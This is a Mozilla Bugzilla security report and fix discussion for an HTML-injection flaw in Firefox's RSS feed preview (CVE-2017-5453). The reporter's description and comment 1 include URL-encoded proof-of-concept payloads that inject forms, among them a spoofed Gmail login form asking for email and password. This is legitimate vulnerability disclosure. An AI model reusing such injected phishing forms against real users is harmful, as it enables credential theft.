Bug 1321247 (CVE-2017-5453)

HTML Injection into RSS reader

RESOLVED FIXED in Firefox 53

Status

()

Firefox
RSS Discovery and Preview
RESOLVED FIXED
7 months ago
2 months ago

People

(Reporter: Jose María Acuña, Assigned: Gijs)

Tracking

({csectype-spoof, sec-low})

53 Branch
Firefox 53
csectype-spoof, sec-low
Points:
---
Bug Flags:
sec-bounty -

Firefox Tracking Flags

(firefox53 fixed)

Details

(Whiteboard: [adv-main53+])

MozReview Requests

()

Submitter Diff Changes Open Issues Last Updated
Loading...
Error loading review requests:

Attachments

(2 attachments, 1 obsolete attachment)

(Reporter)

Description

7 months ago
User Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36

Steps to reproduce:

Subscribe to an RSS news feed from a website in Firefox.

In certain circumstances, it is possible to inject html code by modifying the normal behavior of the RSS reader.

Original source: https://arxiv.org/help/api/index

Actual example: http://export.arxiv.org/api/query?search_query=algorithms

Example that prompts the user to Share on Facebook (you can redirect to a login impersonation page)

http://export.arxiv.org/api/query?start=1&max_results=50&id_token=4478b9e6-d3b5-4d71-bbb4-9979a2161122-873652752266-q5rsvcuumuk3hmstnmvkmq69oucaf7q3&search_query=algorithms%3Cform%20action=%22https://arxiv.org/find/all/1/all:+cela/0/1/0/all/0/1%22%20target=%22_blank%22%20onsubmit=%22alert(1)%22%3E%3Cinput%20type=%22image%22%20align=%22right%22%20valign=%22top%22%20width=%22200%22%20margin=%220%22%20padding=%220%22%20src=%22https://www.cabq.gov/culturalservices/biopark/images/share-on-facebook.png%22%20/%3E%3C/form%3E

Example using proper html elements of the page by adding more real content (you can redirect to a phising page)

http://export.arxiv.org/api/query?start=1&max_results=50&id_token=4478b9e6-d3b5-4d71-bbb4-9979a2161122-873652752266-q5rsvcuumuk3hmstnmvkmq69oucaf7q3&search_query=algorithms%3Cdiv%20id=%22feedHeaderContainer1%22%3E%3Cdiv%20id=%22feedHeaderContainer%22%3E%3Cform%20action=%22https://www.mozilla.com%22%20target=%22_blank%22%20onsubmit=%22alert(1)%22%3E%20%3Cdiv%20id=%22feedSubscribeLine%22%3E%3Cfont%20size=-1%3EPuedes%20cambiar%20la%20configuraci%C3%B3n%20para%20que%20la%20barra%20de%20marcadores%20aparezca%20en%20todas%20las%20p%C3%A1ginas.%3C/font%3E%3Cbutton%20align=%22right%22%3EVer%20tus%20marcadores%3C/button%3E%3Cp%3E %3C/p%3E%3C/form%3E

Another example that could recover the user and password of an email account:

http://export.arxiv.org/api/query?start=1&max_results=50&id_token=4478b9e6-d3b5-4d71-bbb4-9979a2161122-873652752266-q5rsvcuumuk3hmstnmvkmq69oucaf7q3&search_query=algorithms%3Cdiv%20id=%22feedHeaderContainer1%22%3E%3Cdiv%20id=%22feedHeaderContainer%22%3E%3Cform%20action=%22https://www.mozilla.com%22%20target=%22_blank%22%20onsubmit=%22alert(1)%22%3E%20%3Cdiv%20id=%22feedSubscribeLine%22%3E%3Cfont%20size=-1%3EPuedes%20cambiar%20la%20configuraci%C3%B3n%20para%20que%20la%20barra%20de%20marcadores%20aparezca%20en%20todas%20las%20p%C3%A1ginas.%3C/font%3E%3Cbutton%20align=%22right%22%3EVer%20tus%20marcadores%3C/button%3E%3Cp%3E %3C/p%3E%3C/form%3E

(the id_token parameter is dummy and is used to hide the html code of the page)

With more imagination could get impressive results.


Actual results:

It is possible to inject html code by modifying the normal behavior of the RSS reader.


Expected results:

The rss manager should escape the characters sent as url parameters
(Reporter)

Comment 1

7 months ago
Example of email account:

http://export.arxiv.org/api/query?start=1&max_results=50&id_token=4478b9e6-d3b5-4d71-bbb4-9979a2161122-873652752266-q5rsvcuumuk3hmstnmvkmq69oucaf7q3&search_query=algorithms%3Cdiv%20id=%22feedHeaderContainer1%22%3E%3Cdiv%20id=%22feedHeaderContainer%22%3E%3Cform%20action=%22https://mail.google.com?%22%20method=%22get%22%3E%3Cdiv%20id=%22feedSubscribeLine%22%3E%3Cfont%20size=%223%22%20color=%22chocolate%22%3EAhora%20puedes%20a%C3%B1adir%20las%20fuentes%20a%20tu%20gestor%20de%20correo%20de%20Google.%3C/font%3E%3Cbr/%3E%3Cinput%20type=%22email%22%20placeholder=%22user@gmail.com%22%20required=%22required%22%3E%3Cinput%20type=%22password%22%20placeholder=%22password%22%20required=%22required%22%3E%3Cbutton%20align=%22right%22%3EA%C3%B1adir%20a%20Google%3C/button%3E%3Cp%3E %3C/p%3E%3C/form%3E

Updated

7 months ago
Component: Untriaged → RSS Discovery and Preview
(Reporter)

Comment 2

7 months ago
Created attachment 8816069 [details]
rss-firefox.png
Not quite cross-site scripting (did we disable script in the feed context?), but HTML injection through the feed's <title> element.

This example uses a feed that was found to echo its params, but a site could also make its own feed to do this. Mitigation: since script doesn't run it's really down to the imagination of the attacker whether they could get a user to interact with the injected elements and what that might fool the user into doing.

Interestingly, the feed in the example is escaping the attempt to inject angle brackets; loaded as raw XML the feed is safe. The feed reader code is taking &lt;&gt; and turning them back into live angle brackets! Why?!

Maybe I'm lacking imagination but for now calling this a sec-low spoof.
Group: firefox-core-security
Status: UNCONFIRMED → NEW
Ever confirmed: true
Keywords: csectype-spoof, sec-low
Summary: It is possible to inject html code by modifying the normal behavior of the RSS reader → HTML Injection into RSS reader
Going to raise this to sec-moderate. Should anyone accidentally remove the block on scripts this becomes somewhat worse.
Keywords: sec-low → sec-moderate
Whatever the feed preview page chooses to do with it, the feed parser is doing the right thing: <title type="html">&lt;br></title> says to tell the consuming app "here's some HTML source, '<br>', do with it as you will". The &lt; is at the XML layer, you have to escape < in XML content, so an XML parser just says "you've got an element named title, with the type attribute 'html' and the content <br>."
(Assignee)

Comment 6

6 months ago
(In reply to Phil Ringnalda (:philor) from comment #5)
> Whatever the feed preview page chooses to do with it, the feed parser is
> doing the right thing: <title type="html">&lt;br></title> says to tell the
> consuming app "here's some HTML source, '<br>', do with it as you will". The
> &lt; is at the XML layer, you have to escape < in XML content, so an XML
> parser just says "you've got an element named title, with the type attribute
> 'html' and the content <br>."

None of this is being used. The feedwriter code (which constructs the dynamic portion of the contents of subscribe.xhtml) calls createDocumentFragment - not the DOM one, but a custom one defined here: https://dxr.mozilla.org/mozilla-central/rev/b548da4e16f067e5b69349376e37b2db97983cf7/toolkit/components/feeds/FeedProcessor.js#612-630 which uses parserUtils to parse the contents as HTML.

This very much looks like it's a deliberate decision in order to preserve markup in feeds, so just using the text will almost certainly break real-world sites (inasmuch as RSS is still a thing).

We can drop forms by using better sanitize flags. I'm kind of surprised that dropping forms isn't the nsIParserUtils default (ie allowing style/script is opt-in, but apparently allowing forms is opt-out - it's not clear to me *why*...).
(Assignee)

Comment 7

6 months ago
Created attachment 8824449 [details] [diff] [review]
feed-form-html-patch.txt

Look dolske, it's another feed reader exploit. :'-(
Assignee: nobody → gijskruitbosch+bugs
Status: NEW → ASSIGNED
Attachment #8824449 - Flags: review?(dolske)
(Assignee)

Comment 8

6 months ago
So, just to explain: I decided rendering html in the title and subtitle of the feed, as well as the title of entries in the feed, was pointless, so I disabled it. The only place we continue to show HTML is in the feed entry content, where we now strip form elements and a number of other things.
(Assignee)

Comment 9

6 months ago
Comment on attachment 8824449 [details] [diff] [review]
feed-form-html-patch.txt

Review of attachment 8824449 [details] [diff] [review]:
-----------------------------------------------------------------

Eh, this fails tests.
Attachment #8824449 - Flags: review?(dolske)
(Assignee)

Comment 10

6 months ago
So apparently people put in actual work to make HTML work in the titles here, see bug 436801. I don't really mind what we do - we can update the test, or we can make the code allow markup and strip forms and some other stuff (changes which the patch already includes) and hope nobody finds yet another way of abusing the limited set of HTML allowed. Thoughts?
Flags: needinfo?(dveditz)
Cool, so this is intentional and goes through the sanitizer -- that's good to hear and we can unhide this.

Forms are spoofy and hard to imagine are used or wanted in feeds; definitely not in titles. I'd still like to sanitize forms away but we can live with the rest. You don't want to use SanitizerCidEmbedsOnly -- that's for email and will result in no images in the feed, and people clearly want those. I don't think we need to use SanitizerDropNonCSSPresentation either.
Group: firefox-core-security
Flags: needinfo?(dveditz)
Keywords: sec-moderate → sec-low
See Also: → bug 436801
Comment hidden (mozreview-request)
(Assignee)

Updated

6 months ago
Attachment #8824449 - Attachment is obsolete: true
(Reporter)

Updated

6 months ago
Flags: sec-bounty?
Would this not be a dupe of my previous work?  It's nice to see someone go deeper on it so yeah interested for sure.
Also take note that you can generate video elements which can go full screen with no user interaction required(or warnings about).

This could be used to recreate the browser in its entirety and possibly do some very nice phishing and other nastiness.
(Assignee)

Comment 15

5 months ago
(In reply to Jerri Rice (rehash pending) from comment #14)
> Also take note that you can generate video elements which can go full screen
> with no user interaction required(or warnings about).

Er, how (without script)?

> This could be used to recreate the browser in its entirety and possibly do
> some very nice phishing and other nastiness.

How? You can't overlay on the fullscreen <video> element so there's no way to get user input, and you can't run script (in the RSS feed reader, anyway).

But a fullscreen video element can be accomplished without the rss reader, and at that point none of the rest of the RSS reader is visible anymore, so I don't see the point of channeling this through the RSS reader.

The point here is that in theory you could use the context of the RSS reader in order for the user to give you more trust in a form displayed in it or whatever. So the <video> stuff seems completely orthogonal, because you are no longer abusing the trust that's part of the RSS reader's content.
(Reporter)

Comment 16

5 months ago
I agree with Gijs, it is not possible to execute javascript code in rss reader.
In my opinion, the insertion of the form inside a gold colored box offers some credibility being able to persuade the user to enter their credentials but there are no other html elements likely to be misleading in the context of the RSS reader.
To correct myself, once in full screen video mode there is no warnings or confirmation that it is fullscreen.  I would assume clickjacking could be used to get the video full screen, but yes it is not automatic, just worrisome.  Apparently about: pages are trusted with media to some degree.

Comment 18

5 months ago
mozreview-review
Comment on attachment 8824654 [details]
Bug 1321247, sanitize forms out of the RSS reader,

https://reviewboard.mozilla.org/r/103056/#review103988

Looks good, r=dveditz
Attachment #8824654 - Flags: review?(dveditz) → review+

Comment 19

5 months ago
Pushed by gijskruitbosch@gmail.com:
https://hg.mozilla.org/integration/autoland/rev/c85e7e5c007e
sanitize forms out of the RSS reader, r=dveditz

Comment 20

5 months ago
bugherder
https://hg.mozilla.org/mozilla-central/rev/c85e7e5c007e
Status: ASSIGNED → RESOLVED
Last Resolved: 5 months ago
status-firefox53: --- → fixed
Resolution: --- → FIXED
Target Milestone: --- → Firefox 53
Also, Jose, if you want a bug considered for bounty, please email security@mozilla.org as our guidelines specify. Do not just mark the flag in this bug as we will unmark it when you do so normally. That's not how we handle bounties.
(Reporter)

Comment 23

5 months ago
(In reply to Al Billings [:abillings] from comment #22)
> Also, Jose, if you want a bug considered for bounty, please email
> security@mozilla.org as our guidelines specify. Do not just mark the flag in
> this bug as we will unmark it when you do so normally. That's not how we
> handle bounties.

Sorry Al Billings,
We learn from our mistakes.
(Reporter)

Updated

5 months ago
Flags: sec-bounty?
Btw for those that can see it, I believed this to be a dupe of bug 1307857   :-)
Flags: sec-bounty?
The bounty committee has agreed that this bug does not meet the criteria for the client bug bounty.
Flags: sec-bounty? → sec-bounty-
Whiteboard: [adv-main53+]
Alias: CVE-2017-5453
You need to log in before you can comment on or make changes to this bug.